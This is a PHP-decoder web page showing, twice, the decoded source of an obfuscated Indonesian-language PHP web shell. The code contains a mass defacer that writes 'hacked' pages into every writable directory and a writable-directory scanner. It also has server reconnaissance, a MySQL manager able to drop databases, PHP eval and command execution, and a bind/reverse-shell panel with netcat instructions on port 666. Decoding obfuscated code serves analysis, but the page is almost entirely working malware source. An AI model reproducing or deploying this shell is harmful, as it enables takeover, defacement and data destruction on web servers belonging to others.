Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode('IHN0eWxlPSdib3JkZXItYm90dG9tOnRoaW4gZGFzaGVkICNmMDA7Jz4iL..

Decoded Output download

<? eval(gzinflate(base64_decode(' style='border-bottom:thin dashed #f00;'>".htmlspecialchars($dat[$n])."</td>";
                    }
                    $r.="</tr>";
                }
                $r.="</table>";
            } else $r.="<center>".$re."<br />Error bro, Periksa query ente";
        }else $r.="<center>Isi Query nya bro</center>";
        
        }
        $r.=$this->sqlcommand();
        $r.="</div>";
        return $r;
    }

    //converter form
    function converter()
    {
        $r='';
        $r.="<div id='isi'>";
        $opt=array("MD5"=>"md5","Hex"=>"hexa","Base64 Encoder"=>"64en","Base64 Decoder"=>"64de","SHA1"=>"sha1","URL Encoder"=>"urlen","URL Decoder"=>"urlde");
        if(isset($_POST['submit'])&&!empty($_POST['convert']))
        {
            $val=$this->convert($_POST['isi']);
            $r.="<textarea >$val</textarea>";
        }
        $isi="<center><form method='post' action='?act=encode'><textarea style='width:50%;height:100px;border:1px solid #f00;' name='convert' ></textarea><br /><select name='isi' id='box'>";
            foreach ($opt as $k=>$v) {
                $isi.="<option value=$v>".$k."</option>";
            }
            $r.=$isi."<input type='submit' name='submit' style='color:#fff' id='but' value='Convert'></form></center></div>";
            return $r;
    }
    //display valuable info on server 
    function infoser()
    {
        $r="<div id='isi'><table style='font-size:12px;'>";
        $r.="<tr><td>Disable Function </td><td>: ".(ini_get('disable_functions')?ini_get('disable_functions'):"All Function Enable")."</td></tr>";;
        $r.="<tr><td>Safe Mode </td><td>: ".(ini_get('safe_mode')?"On":"Off")."</td></tr>";
        $r.="<tr><td>Open Base Dir </td><td>: ".ini_get('openbase_dir')."</td></tr>";
        $r.="<tr><td>Php version </td><td>: ".phpversion()."</td></tr>";
        $r.="<tr><td>Register Global </td><td>: ".(ini_get('register_global')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Curl </td><td>: ".(extension_loaded('curl')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Database Mysql </td><td>: ".(function_exists('mysql_connect')?'On':'Off')."</td></tr>";
        $r.="<tr><td>Magic Quotes </td><td>: ".(ini_get('Magic_Quotes')?'On':'Off')."</td></tr>";
        $r.="<tr><td>Remote Include </td><td>: ".(ini_get('allow_url_include')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Disk Free Space </td><td>: ".$this->getSize(diskfreespace($this->dir()))."</td></tr>";
        $r.="<tr><td>Total Disk Space </td><td>: ".$this->getSize(disk_total_space($this->dir()))."</td></tr>";
        $r.="</table></div>";
        return $r;
    }
        //display available drive on winbox 
    function drive()
    {
        foreach (range("A", "Z") as $val) {
        if(is_dir($val.":".DIRECTORY_SEPARATOR))
        {
            
            $ad=$val.":".DIRECTORY_SEPARATOR;
            $r=$r.="<a href='?act=file&dir=$ad'>$val:".DIRECTORY_SEPARATOR."</a> ";
        }
            }
        return $r;
    }
    //find writable directory
    function scdir($dir)
    {
        $r='';
        $dname=array();
        if($dh=opendir($dir))
        {
            while (false !==($name=readdir($dh))) {
            
                if($name !='.'&&$name!='..')
                {
                    if(is_dir($name)&&is_writable($name))
                    {
                        
                        $dname[]=$name;
                    }
                }                    
            }
            closedir($dh);
        }
        if($dname)
        {
            foreach ($dname as $val) {
            $r.="<a href='?act=file&dir=".$dir.$val.DIRECTORY_SEPARATOR."'>".$dir.$val."</a><hr style='border:thin solid #2e2e2e' />";
        }
        } else $r.="Not Found";
        
        
            return $r;
    }
    //writable scanner form
    function writable()
    {
        $r="<div id='isi'>";
        if(isset($_POST['finddir'])&&isset($_POST['submit']))
        {
            $r.=$this->scdir($_POST['finddir']);
            
        } //else {
            $r.="<center>Cari semua directory yang writeable <br /><form method='post' action='?act=write&dir=".$this->dir()."'>".$this->current('write')."<br /><input type='hidden' name='finddir' id='box' value='".$this->dir()."'><input id='but' type='submit' style='margin-top:5px;color:#fff'  name='submit' value='Cari'></center><form>";
        //}
        $r.="</div>";
        return $r;
    }
    
    //mass defacer 
    function mass()
    {
            $r="<div id='isi'>";
        if(isset($_POST['def'])&&isset($_POST['fname'])&&isset($_POST['isinya']))
        {
            $r.=$this->deface($_POST['addr'],$_POST['fname'],$_POST['isinya']);
            $r.=$this->scdir($_POST['addr']);
        }
        else {
            $r.="<center><form method='post' action='?act=md&dir=".$this->dir()."'>Mass Defacer <br /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('md')."<br />Nama File <input type='text' name='fname' value='hacked.html' style='margin:7px 0;' id='box'><br />
        <textarea name='isinya' style='border:1px solid #f00;'><h1>hacked</h1></textarea><br /><input type='submit' name='def' id='but' value='Deface'></form></center>";
        $r.="</div>";
        }
        
        return $r;
    }
    //mass defacer funct
    function deface($al,$fname,$source)
    {
        $dname=array();
        $al=$this->replace($al);
        if($dh=opendir($this->replace($al)))
        {
            while (false !==($name=readdir($dh))) {
            
                if($name !='.'&&$name!='..'&&is_dir($name))
                {
                    if(is_writable($name))
                    {
                        $dname[]=$name;
                            
                    }
                }                    
            }
            closedir($dh);
        }
        if($dname)
        {
            $r.="Mass Deface Success bro <br />";
            foreach ($dname as $val) {
                if($fp=fopen($al.$val."/".$fname,"w"))
            fwrite($fp, $source);
            fclose($fp);
            }
            
            
        }
        else $r.="failed";
        return $r;
    }
    //backdoor function 
    function bdf($dir)
    {
        
        $r='';
        $has=$_POST['bug'];
        if($files = @scandir($dir)) {
            foreach($files as $file) {
                if($file != '.' && $file != '..'&& $file !='cgi-bin') {
                if(@is_dir($dir.$slash.$file)) {
                    $r.=$this->bdf($dir.$file.DIRECTORY_SEPARATOR);
                   
                } else {
                    $op = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
                    if($op)
                        foreach($has as $bug) {
                            if(@preg_match("/$bug\((.*?)\)/", $op)) {
                                
                               $r.="<tr><td>Contain '$bug' at ".$dir.$file."</td><td>".date("d-M-Y H:i",filemtime($dir.$file))."</td></tr>";
                                
                            } 
                        }
                        
                }
            }
        }
        }
        return $r;
        }
    //backdoor scanner form 
    function doorscan()
    {
        $this->find = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file','copy','pcntl_exec','escapeshellarg','escapeshellcmd','proc_open','proc_get_status','proc_nice','proc_open','proc_terminate');
        $r="<div id='isi'>";
        if(isset($_POST['submit'])&&isset($_POST['bug']))
        {    $r.="<table width='100%'' class='xpltab'><tr><th>Mungkin ini File BackDoor</th><th>Last Modified</th></tr>";
            $r.=$this->bdf($_POST['dir']);
            $r.="</table>";
        }
        else {
        
            $r.="<center><form method='post' action='?act=bds&dir=".$this->dir()."'>Ente nyari di : <input type='hidden' name='dir' value='".$this->dir()."'>".$this->current('bds')."<br />Type Pencarian : </center>";
foreach ($this->find as $val) {
            $r.="<input style='margin-left:43%;margin-top:7px;' type='checkbox' name='bug[]' value='".$val."'>".$val."<br />";
        }
            $r.="<center><input type='submit' name='submit' id='but' style='margin-top:10px;width:150px;color:#fff' value='Cari BackDoor'></form>";
            $r.="</center>";
        }
        $r.="</div>";
        
        
        return $r;
    }

    function newmass($dir,$file,$source)
    {
        if(isset($_POST['dir'])&&isset($_POST['file'])&&isset($_POST['source']))
        {
            
        }
        else {
            $r.="<center><form method='post' action='?act=md&dir=".$this->dir()."'>Mass Defacer <br /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('md')."<br />Nama File <input type='text' name='fname' value='index.php' style='margin:7px 0;' id='box'><br />
        <textarea name='isinya' style='border:1px solid #f00;'><h1>Hacked By</h1></textarea><br /><input type='submit' name='def' id='but' value='Deface'></form></center>";
        $r.="</div>";
        }
    }
    function door()
    {
        $this->ip=gethostbyname($_SERVER['HTTP_HOST']);
        $r="";
        $frm="<form method='post' action='?act=bc'>";
        $hd="<input type='hidden' name='action' value='bc'>";
        $ms="Tekan Tombol Connect dan jalankan nc pada komputer ente -> nc ".$this->ip." 666";
        $ms2="Jalankan nc pada komputer ente -> nc -lnvp 666 lalu ente klik tombol Connect";
            //Bind Perl
        $r.="<table border='0' width='100%' class='xpltab'><tr><th>Bind Shell</th><th>Membalikkan Shell</th></tr>
            <tr><td ><span class='gede'>Perl</span> <br />$frm<input type='hidden' value='".$this->ip."' name='ip' id='box'><br />Port : <input type='text' name='port' value='666' id='box' />$hd<input type='submit' name='Go' value='connect' id='but'><input type='hidden' name='action' value='bperl'></form><p>$ms</td>";
             //reverse perl
             $r.="<td  style='border-right:1px solid #f00'><span class='gede'>Perl </span><br />IP ente <input type='text' value='".$this->ip."' name='bcperlip' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:17px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr>";
            //bind python 
             $r.="<tr><td><span class='gede'>Python</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>
            ";
            //reverse python
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Python</span> <br />IP ente<input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:13px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr><tr>";
            //Bind C
            $r.="<td><span class='gede'>Bin</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>";
            //Reverse PHP
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Php</span> <br />IP ente<input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:13px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr><tr>";
            //Bind Ruby
            $r.="<td><span class='gede'>Ruby</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>";
            //Reverse Ruby 
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Ruby</span> <br />IP ente <input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:17px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr>
            </table>";
        return $r;
    }
    function bc($type)
{
    switch ($type) {
        case 'bindpl':
            # code...
            break;
        case 'bindpl':
        
        break;
        default:
            # code...
            break;
    }
}

}
$shell=new shell();
$r='';
$r.=$shell->header();
$r.=$shell->menu();
echo "</div='isi'>";
switch ($_GET['act']) {
    case 'file':
    
    if(isset($_GET['act2'])=='del')
    $r.=$shell->remfile();
    if(isset($_GET['act3'])=='del')
    $r.=$shell->remdir();
    $r.=$shell->xpl();    
    $r.=$shell->center();
    break;
    case 'edit':
    $r.=$shell->edit($_GET['file']);
    break;
    case 'ren':
    $r.=$shell->ren($_GET['file']);
    break;
    case 'cmd':
    $r.=$shell->command();
    $r.=$shell->center();
    break;
    case 'down':
    $r.=$shell->downloadfile($_GET['file']);
    break;
    case 'downfolder':
    $r.=$shell->downloadfolder($_GET['file']);
    break;
    case 'mysql':
    $r.=$shell->login();
    break;
    case 'view':
    $r.=$shell->lihatdb();
    break;
    case 'showtable':
    $r.=$shell->showtable();
    break;
    case 'showcon':
    $r.=$shell->showcon();
    break;
    case 'downdb':
    $r.=$shell->downdb();
    break;
    case 'editrow':
    $r.=$shell->editrow();
    break;
    case 'logout':
    $_SESSION=array();
    session_destroy();
    header("location:?act=mysql");
    break;
    case 'dropdb':
    $r.=$shell->dropsql();
    break;
    case 'delrow':
    $r.=$shell->droprow();
    break;
    case 'insertrow':
    $r.=$shell->insertrow();
    break;
    case 'sqlcmd':
    $r.=$shell->sqlcmd();
    break;
    case 'encode':
    $r.=$shell->converter();
    break;
    case 'ser':$r.=$shell->infoser();break;
    case "eval":
    $r.=$shell->phpeval();$r.=$shell->center();
    break;
    case 'write':
    $r.=$shell->writable();
    break;
    case 'bds':$r.=$shell->doorscan();break;
    case 'md':$r.=$shell->mass();break;
    case 'bc':$r.=$shell->door();break;
    default:
    $r.=$shell->logo();
    break;
}
switch ($_POST['action']) {
    case 'editfile':
        if($shell->editfile($_POST['file']))
        $r.=header("location:?act=file&dir=".$shell->dir()."");
        
        break;
    case 'renamed':
        if($shell->rename($_POST['file']))
        $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case "mkdir":
    $r.=$shell->mkdir();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case "createfile":
    $r.=$shell->createfile();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    
    case "uploader":
    $r.=$shell->upload();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case 'createdb':
    $r.=$shell->createdb($_POST['dbname']);
    break;
    case 'updaterow':
    $r.=$shell->updaterow();
    break;
    case 'insertrow':
    $r.=$shell->insertrow();
    break;
    case 'mass':
    $r.=$shell->newmass($_POST['dir'],$_POST['file'],$_POST['source']);
    break;
    case 'bc':
    $r.=$shell->bc();
    break; 
}
echo "</div>";
$r.=$shell->footer();
echo $r;
ob_end_flush();
?>'))); ?> 

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode(' style='border-bottom:thin dashed #f00;'>".htmlspecialchars($dat[$n])."</td>";
                    }
                    $r.="</tr>";
                }
                $r.="</table>";
            } else $r.="<center>".$re."<br />Error bro, Periksa query ente";
        }else $r.="<center>Isi Query nya bro</center>";
        
        }
        $r.=$this->sqlcommand();
        $r.="</div>";
        return $r;
    }

    //converter form
    function converter()
    {
        $r='';
        $r.="<div id='isi'>";
        $opt=array("MD5"=>"md5","Hex"=>"hexa","Base64 Encoder"=>"64en","Base64 Decoder"=>"64de","SHA1"=>"sha1","URL Encoder"=>"urlen","URL Decoder"=>"urlde");
        if(isset($_POST['submit'])&&!empty($_POST['convert']))
        {
            $val=$this->convert($_POST['isi']);
            $r.="<textarea >$val</textarea>";
        }
        $isi="<center><form method='post' action='?act=encode'><textarea style='width:50%;height:100px;border:1px solid #f00;' name='convert' ></textarea><br /><select name='isi' id='box'>";
            foreach ($opt as $k=>$v) {
                $isi.="<option value=$v>".$k."</option>";
            }
            $r.=$isi."<input type='submit' name='submit' style='color:#fff' id='but' value='Convert'></form></center></div>";
            return $r;
    }
    //display valuable info on server 
    function infoser()
    {
        $r="<div id='isi'><table style='font-size:12px;'>";
        $r.="<tr><td>Disable Function </td><td>: ".(ini_get('disable_functions')?ini_get('disable_functions'):"All Function Enable")."</td></tr>";;
        $r.="<tr><td>Safe Mode </td><td>: ".(ini_get('safe_mode')?"On":"Off")."</td></tr>";
        $r.="<tr><td>Open Base Dir </td><td>: ".ini_get('openbase_dir')."</td></tr>";
        $r.="<tr><td>Php version </td><td>: ".phpversion()."</td></tr>";
        $r.="<tr><td>Register Global </td><td>: ".(ini_get('register_global')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Curl </td><td>: ".(extension_loaded('curl')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Database Mysql </td><td>: ".(function_exists('mysql_connect')?'On':'Off')."</td></tr>";
        $r.="<tr><td>Magic Quotes </td><td>: ".(ini_get('Magic_Quotes')?'On':'Off')."</td></tr>";
        $r.="<tr><td>Remote Include </td><td>: ".(ini_get('allow_url_include')?'Enable':'Disable')."</td></tr>";
        $r.="<tr><td>Disk Free Space </td><td>: ".$this->getSize(diskfreespace($this->dir()))."</td></tr>";
        $r.="<tr><td>Total Disk Space </td><td>: ".$this->getSize(disk_total_space($this->dir()))."</td></tr>";
        $r.="</table></div>";
        return $r;
    }
        //display available drive on winbox 
    function drive()
    {
        foreach (range("A", "Z") as $val) {
        if(is_dir($val.":".DIRECTORY_SEPARATOR))
        {
            
            $ad=$val.":".DIRECTORY_SEPARATOR;
            $r=$r.="<a href='?act=file&dir=$ad'>$val:".DIRECTORY_SEPARATOR."</a> ";
        }
            }
        return $r;
    }
    //find writable directory
    function scdir($dir)
    {
        $r='';
        $dname=array();
        if($dh=opendir($dir))
        {
            while (false !==($name=readdir($dh))) {
            
                if($name !='.'&&$name!='..')
                {
                    if(is_dir($name)&&is_writable($name))
                    {
                        
                        $dname[]=$name;
                    }
                }                    
            }
            closedir($dh);
        }
        if($dname)
        {
            foreach ($dname as $val) {
            $r.="<a href='?act=file&dir=".$dir.$val.DIRECTORY_SEPARATOR."'>".$dir.$val."</a><hr style='border:thin solid #2e2e2e' />";
        }
        } else $r.="Not Found";
        
        
            return $r;
    }
    //writable scanner form
    function writable()
    {
        $r="<div id='isi'>";
        if(isset($_POST['finddir'])&&isset($_POST['submit']))
        {
            $r.=$this->scdir($_POST['finddir']);
            
        } //else {
            $r.="<center>Cari semua directory yang writeable <br /><form method='post' action='?act=write&dir=".$this->dir()."'>".$this->current('write')."<br /><input type='hidden' name='finddir' id='box' value='".$this->dir()."'><input id='but' type='submit' style='margin-top:5px;color:#fff'  name='submit' value='Cari'></center><form>";
        //}
        $r.="</div>";
        return $r;
    }
    
    //mass defacer 
    function mass()
    {
            $r="<div id='isi'>";
        if(isset($_POST['def'])&&isset($_POST['fname'])&&isset($_POST['isinya']))
        {
            $r.=$this->deface($_POST['addr'],$_POST['fname'],$_POST['isinya']);
            $r.=$this->scdir($_POST['addr']);
        }
        else {
            $r.="<center><form method='post' action='?act=md&dir=".$this->dir()."'>Mass Defacer <br /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('md')."<br />Nama File <input type='text' name='fname' value='hacked.html' style='margin:7px 0;' id='box'><br />
        <textarea name='isinya' style='border:1px solid #f00;'><h1>hacked</h1></textarea><br /><input type='submit' name='def' id='but' value='Deface'></form></center>";
        $r.="</div>";
        }
        
        return $r;
    }
    //mass defacer funct
    function deface($al,$fname,$source)
    {
        $dname=array();
        $al=$this->replace($al);
        if($dh=opendir($this->replace($al)))
        {
            while (false !==($name=readdir($dh))) {
            
                if($name !='.'&&$name!='..'&&is_dir($name))
                {
                    if(is_writable($name))
                    {
                        $dname[]=$name;
                            
                    }
                }                    
            }
            closedir($dh);
        }
        if($dname)
        {
            $r.="Mass Deface Success bro <br />";
            foreach ($dname as $val) {
                if($fp=fopen($al.$val."/".$fname,"w"))
            fwrite($fp, $source);
            fclose($fp);
            }
            
            
        }
        else $r.="failed";
        return $r;
    }
    //backdoor function 
    function bdf($dir)
    {
        
        $r='';
        $has=$_POST['bug'];
        if($files = @scandir($dir)) {
            foreach($files as $file) {
                if($file != '.' && $file != '..'&& $file !='cgi-bin') {
                if(@is_dir($dir.$slash.$file)) {
                    $r.=$this->bdf($dir.$file.DIRECTORY_SEPARATOR);
                   
                } else {
                    $op = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
                    if($op)
                        foreach($has as $bug) {
                            if(@preg_match("/$bug\((.*?)\)/", $op)) {
                                
                               $r.="<tr><td>Contain '$bug' at ".$dir.$file."</td><td>".date("d-M-Y H:i",filemtime($dir.$file))."</td></tr>";
                                
                            } 
                        }
                        
                }
            }
        }
        }
        return $r;
        }
    //backdoor scanner form 
    function doorscan()
    {
        $this->find = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file','copy','pcntl_exec','escapeshellarg','escapeshellcmd','proc_open','proc_get_status','proc_nice','proc_open','proc_terminate');
        $r="<div id='isi'>";
        if(isset($_POST['submit'])&&isset($_POST['bug']))
        {    $r.="<table width='100%'' class='xpltab'><tr><th>Mungkin ini File BackDoor</th><th>Last Modified</th></tr>";
            $r.=$this->bdf($_POST['dir']);
            $r.="</table>";
        }
        else {
        
            $r.="<center><form method='post' action='?act=bds&dir=".$this->dir()."'>Ente nyari di : <input type='hidden' name='dir' value='".$this->dir()."'>".$this->current('bds')."<br />Type Pencarian : </center>";
foreach ($this->find as $val) {
            $r.="<input style='margin-left:43%;margin-top:7px;' type='checkbox' name='bug[]' value='".$val."'>".$val."<br />";
        }
            $r.="<center><input type='submit' name='submit' id='but' style='margin-top:10px;width:150px;color:#fff' value='Cari BackDoor'></form>";
            $r.="</center>";
        }
        $r.="</div>";
        
        
        return $r;
    }

    function newmass($dir,$file,$source)
    {
        if(isset($_POST['dir'])&&isset($_POST['file'])&&isset($_POST['source']))
        {
            
        }
        else {
            $r.="<center><form method='post' action='?act=md&dir=".$this->dir()."'>Mass Defacer <br /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('md')."<br />Nama File <input type='text' name='fname' value='index.php' style='margin:7px 0;' id='box'><br />
        <textarea name='isinya' style='border:1px solid #f00;'><h1>Hacked By</h1></textarea><br /><input type='submit' name='def' id='but' value='Deface'></form></center>";
        $r.="</div>";
        }
    }
    function door()
    {
        $this->ip=gethostbyname($_SERVER['HTTP_HOST']);
        $r="";
        $frm="<form method='post' action='?act=bc'>";
        $hd="<input type='hidden' name='action' value='bc'>";
        $ms="Tekan Tombol Connect dan jalankan nc pada komputer ente -> nc ".$this->ip." 666";
        $ms2="Jalankan nc pada komputer ente -> nc -lnvp 666 lalu ente klik tombol Connect";
            //Bind Perl
        $r.="<table border='0' width='100%' class='xpltab'><tr><th>Bind Shell</th><th>Membalikkan Shell</th></tr>
            <tr><td ><span class='gede'>Perl</span> <br />$frm<input type='hidden' value='".$this->ip."' name='ip' id='box'><br />Port : <input type='text' name='port' value='666' id='box' />$hd<input type='submit' name='Go' value='connect' id='but'><input type='hidden' name='action' value='bperl'></form><p>$ms</td>";
             //reverse perl
             $r.="<td  style='border-right:1px solid #f00'><span class='gede'>Perl </span><br />IP ente <input type='text' value='".$this->ip."' name='bcperlip' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:17px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr>";
            //bind python 
             $r.="<tr><td><span class='gede'>Python</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>
            ";
            //reverse python
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Python</span> <br />IP ente<input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:13px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr><tr>";
            //Bind C
            $r.="<td><span class='gede'>Bin</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>";
            //Reverse PHP
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Php</span> <br />IP ente<input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:13px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr><tr>";
            //Bind Ruby
            $r.="<td><span class='gede'>Ruby</span> <br /><input type='hidden' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' /><input type='submit' name='Go' value='connect' id='but'>
            <p>$ms</td>";
            //Reverse Ruby 
            $r.="<td style='border-right:1px solid #f00'><span class='gede'>Ruby</span> <br />IP ente <input type='text' value='".$this->ip."' name='bcperl' id='box'><br />Port : <input type='text' name='port' value='666' id='box' style='margin-top:5px;margin-left:17px;'/><input type='submit' name='Go' value='connect' id='but'><p>$ms2</td></tr>
            </table>";
        return $r;
    }
    function bc($type)
{
    switch ($type) {
        case 'bindpl':
            # code...
            break;
        case 'bindpl':
        
        break;
        default:
            # code...
            break;
    }
}

}
$shell=new shell();
$r='';
$r.=$shell->header();
$r.=$shell->menu();
echo "</div='isi'>";
switch ($_GET['act']) {
    case 'file':
    
    if(isset($_GET['act2'])=='del')
    $r.=$shell->remfile();
    if(isset($_GET['act3'])=='del')
    $r.=$shell->remdir();
    $r.=$shell->xpl();    
    $r.=$shell->center();
    break;
    case 'edit':
    $r.=$shell->edit($_GET['file']);
    break;
    case 'ren':
    $r.=$shell->ren($_GET['file']);
    break;
    case 'cmd':
    $r.=$shell->command();
    $r.=$shell->center();
    break;
    case 'down':
    $r.=$shell->downloadfile($_GET['file']);
    break;
    case 'downfolder':
    $r.=$shell->downloadfolder($_GET['file']);
    break;
    case 'mysql':
    $r.=$shell->login();
    break;
    case 'view':
    $r.=$shell->lihatdb();
    break;
    case 'showtable':
    $r.=$shell->showtable();
    break;
    case 'showcon':
    $r.=$shell->showcon();
    break;
    case 'downdb':
    $r.=$shell->downdb();
    break;
    case 'editrow':
    $r.=$shell->editrow();
    break;
    case 'logout':
    $_SESSION=array();
    session_destroy();
    header("location:?act=mysql");
    break;
    case 'dropdb':
    $r.=$shell->dropsql();
    break;
    case 'delrow':
    $r.=$shell->droprow();
    break;
    case 'insertrow':
    $r.=$shell->insertrow();
    break;
    case 'sqlcmd':
    $r.=$shell->sqlcmd();
    break;
    case 'encode':
    $r.=$shell->converter();
    break;
    case 'ser':$r.=$shell->infoser();break;
    case "eval":
    $r.=$shell->phpeval();$r.=$shell->center();
    break;
    case 'write':
    $r.=$shell->writable();
    break;
    case 'bds':$r.=$shell->doorscan();break;
    case 'md':$r.=$shell->mass();break;
    case 'bc':$r.=$shell->door();break;
    default:
    $r.=$shell->logo();
    break;
}
switch ($_POST['action']) {
    case 'editfile':
        if($shell->editfile($_POST['file']))
        $r.=header("location:?act=file&dir=".$shell->dir()."");
        
        break;
    case 'renamed':
        if($shell->rename($_POST['file']))
        $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case "mkdir":
    $r.=$shell->mkdir();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case "createfile":
    $r.=$shell->createfile();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    
    case "uploader":
    $r.=$shell->upload();
    $r.=header("location:?act=file&dir=".$shell->dir()."");
    break;
    case 'createdb':
    $r.=$shell->createdb($_POST['dbname']);
    break;
    case 'updaterow':
    $r.=$shell->updaterow();
    break;
    case 'insertrow':
    $r.=$shell->insertrow();
    break;
    case 'mass':
    $r.=$shell->newmass($_POST['dir'],$_POST['file'],$_POST['source']);
    break;
    case 'bc':
    $r.=$shell->bc();
    break; 
}
echo "</div>";
$r.=$shell->footer();
echo $r;
ob_end_flush();
?>'))); ?> 

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 7a86ce0b82d6d063f0470b2b285f5e6e
Eval Count 0
Decode Time 161 ms